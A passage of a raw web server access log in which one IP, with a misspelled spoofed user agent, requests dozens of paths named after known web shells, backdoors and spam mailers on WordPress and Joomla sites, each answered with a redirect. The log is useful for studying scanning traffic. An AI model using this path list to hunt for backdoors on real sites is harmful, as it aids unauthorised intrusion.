HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:35 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:39 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:43 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:46 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:49 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:54 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:01 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:08 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:16 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:22 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:26 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:32 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:37 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:44 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:47 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:49 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:51 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:55 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:21:57 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:00 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:03 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:06 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:08 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:12 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:15 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:21 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:25 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:28 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:33 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:38 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:40 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:44 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 173.181.39.62 - - [25/Apr/2025:22:22:45 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:48 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:51 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:54 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:22:58 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:01 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:03 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:06 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:07 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:10 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:13 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:15 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:17 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:20 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:22 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:27 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:31 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:34 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:37 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:43 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:47 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:52 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:57 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:23:59 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:02 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:05 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:09 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:12 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:16 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:18 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:21 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:25 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:27 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:30 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:32 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:35 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:37 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:39 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:42 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:44 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:46 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:49 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:51 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:53 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:55 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:57 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:24:59 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:01 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:04 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:07 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:10 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:13 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:15 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:18 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:20 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:23 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:27 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:33 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:37 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:40 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:45 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:48 -0400] "GET /mailer1.php HTTP/1.1" 